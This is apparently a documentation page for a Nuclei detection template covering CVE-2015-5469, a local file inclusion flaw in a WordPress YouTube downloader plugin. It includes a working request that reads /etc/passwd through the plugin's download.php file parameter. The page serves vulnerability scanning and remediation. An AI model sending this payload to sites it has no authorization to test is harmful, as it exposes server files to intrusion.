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WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion

ID: CVE-2015-5469

Severity: high

Author: 0x_Akoko

Tags: cve2015,cve,wp,lfi,mdc_youtube_downloader_project,wordpress

Description

Section titled “Description”

WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.

YAML Source

Section titled “YAML Source”
id: CVE-2015-5469


info:
  name: WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive files, execution of arbitrary code, and potential compromise of the entire WordPress installation.
  remediation: |
    Update to the latest version of WordPress MDC YouTube Downloader plugin or apply the patch provided by the vendor.
  reference:
    - https://www.openwall.com/lists/oss-security/2015/07/10/5
    - http://www.vapid.dhs.org/advisory.php?v=133
    - http://www.openwall.com/lists/oss-security/2015/07/10/5
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5469
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-5469
    cwe-id: CWE-22
    epss-score: 0.01853
    epss-percentile: 0.88325
    cpe: cpe:2.3:a:mdc_youtube_downloader_project:mdc_youtube_downloader:2.1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mdc_youtube_downloader_project
    product: mdc_youtube_downloader
    framework: wordpress
  tags: cve2015,cve,wp,lfi,mdc_youtube_downloader_project,wordpress


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 490a004630440220254b99e59b052ff71485382222da0e761374c32401140112f995ed98b454a4cd02201f8e936fd82e1d718c78eedb893a23115da5737d4c3ce8e161fc878dcde0b099:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-5469.yaml"

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